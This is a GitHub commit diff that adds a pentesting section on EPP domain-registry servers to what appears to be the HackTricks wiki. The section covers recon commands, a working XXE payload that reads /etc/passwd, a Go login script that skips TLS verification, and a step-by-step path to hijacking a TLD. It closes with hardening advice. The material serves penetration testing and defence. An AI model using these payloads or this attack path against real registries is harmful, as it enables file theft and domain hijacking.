Skip to content

Commit e520845

Browse files
carlospolopcarlospolop
authored
Merge pull request #1220 from HackTricks-wiki/research_update_src_network-services-pentesting_700-pentesting-epp_20250731_162442
Research Update Enhanced src/network-services-pentesting/700...
2 parents ac8f184 + b63096d commit e520845

1 file changed

Lines changed: 108 additions & 1 deletion

File tree

‎src/network-services-pentesting/700-pentesting-epp.md‎

Lines changed: 108 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,114 @@ Basically, it's one of the protocols a **TLD registrar is going to be offering t
1212

1313
[**In this very interesting article**](https://hackcompute.com/hacking-epp-servers/) you can see how some security researches found several **implementation of this protocol** were vulnerable to XXE (XML External Entity) as this protocol uses XML to communicate, which would have allowed attackers to takeover tens of different TLDs.
1414

15-
{{#include ../banners/hacktricks-training.md}}
15+
---
16+
17+
## Enumeration & Recon
18+
19+
EPP servers almost always listen on TCP `700/tcp` over TLS. A typical deployment also enforces **mutual-TLS (mTLS)** so the client must present a valid certificate issued by the registry CA. Nevertheless, many private test or pre-production deployments forget that control:
20+
21+
```bash
22+
# Banner-grabbing / TLS inspection
23+
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
24+
25+
# Check if mTLS is *really* required (it frequently is not!)
26+
openssl s_client -connect <target>:700 -quiet \
27+
-servername epp.test 2>/dev/null | head
28+
```
29+
30+
If the server does not terminate the connection after the TLS handshake you can attempt to send an unauthenticated `<hello/>` message:
31+
32+
```xml
33+
<?xml version="1.0" encoding="UTF-8"?>
34+
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
35+
<hello/>
36+
</epp>
37+
```
38+
39+
### Open-source clients useful for testing
40+
41+
* **epp-client (Go)** – actively maintained, supports TCP/TLS and EPP-over-HTTPS (RFC 8730):
42+
`go install github.com/domainr/epp/cmd/epp@latest`
43+
* **gandi/go-epp** – minimal client library that can easily be instrumented for fuzzing or nuclei-style workflows.
44+
* **afq984/php-epp-client** – PHP implementation used by many small registrars; a convenient target for code-review.
45+
46+
Example minimal login+check script with Go epp-client:
47+
48+
```go
49+
package main
50+
import (
51+
"github.com/domainr/epp"
52+
"crypto/tls"
53+
)
54+
55+
func main() {
56+
cfg := &tls.Config{InsecureSkipVerify: true}
57+
c, _ := epp.DialTLS("epp.test:700", cfg)
58+
c.Login("CLIENT_ID", "PASSWORD", nil)
59+
resp, _ := c.DomainCheck("example","com")
60+
println(resp)
61+
}
62+
```
63+
64+
---
65+
66+
## Common Weaknesses & 2023-2025 Vulnerabilities
1667

68+
| Year | Component | CWE | Impact |
69+
|------|-----------|-----|--------|
70+
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Remote file read & SSRF via crafted `<epp>` payload (patch: 2023-11-02) |
71+
| 2024 | FRED EPP Server 2.x | CWE-322 Insufficient TLS cert validation | Bypass of mTLS allowed unauthorized registrar login |
72+
| 2025 | Proprietary registrar panel | CWE-306 Missing Authentication for Critical Function | Domain transfer approval endpoint exposed over EPP-HTTP bridge |
1773

74+
### XXE / SSRF payload (works against many Java/Spring implementations)
1875

76+
```xml
77+
<?xml version="1.0"?>
78+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
79+
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
80+
<command>
81+
<check>
82+
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
83+
<domain:name>&xxe;</domain:name>
84+
</domain:check>
85+
</check>
86+
</command>
87+
</epp>
88+
```
89+
90+
When the parser is mis-configured (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`) the file content is returned inside the `<resData>` structure.
91+
92+
### Other typical findings
93+
94+
1. **Weak credential policy** – EPP login passphrases shorter than 8 chars; brute-force is often feasible because the spec only RECOMMENDS (not requires) rate-limiting.
95+
2. **Missing `registryLock` / `serverUpdateProhibited` status** – once authenticated, attackers can immediately update NS records and steal traffic.
96+
3. **Unsigned poll messages** – some implementations still do not sign poll Q&A messages, enabling spoofing/phishing of registrar operators.
97+
98+
---
99+
100+
## Attack Path: From Zero to TLD Hijack
101+
102+
1. Discover an EPP endpoint (often hidden behind a generic host like `ot&e.<tld>.nic.<cc>`).
103+
2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE → SSRF to IMDSv1, credential exfil, or TLS-bypass).
104+
3. Issue `<update>` requests to change the domain’s `hostObj` records to attacker-controlled name servers.
105+
4. (Optional) Submit a `<transfer>` to move the domain to an attacker-controlled registrar – many registries still rely on a **single auth-code**.
106+
5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.
107+
108+
---
109+
110+
## Defensive Measures & Hardening
111+
112+
* Enforce **mTLS with per-registrar client certificates** and pin the registry CA.
113+
* Set `parserFeature secure-processing=true` or equivalent to kill XXE.
114+
* Run **continuous fuzzing** of the XML parser (e.g., with `go-fuzz` or `jazzer` for Java).
115+
* Deploy **Registry Lock / server*Prohibited** statuses for high-value domains.
116+
* Monitor `poll` queue for suspicious `<transfer>` or `<update>` commands and alert in real-time.
117+
* ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls – leverage them.
118+
119+
120+
121+
## References
122+
123+
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
124+
* HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
125+
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)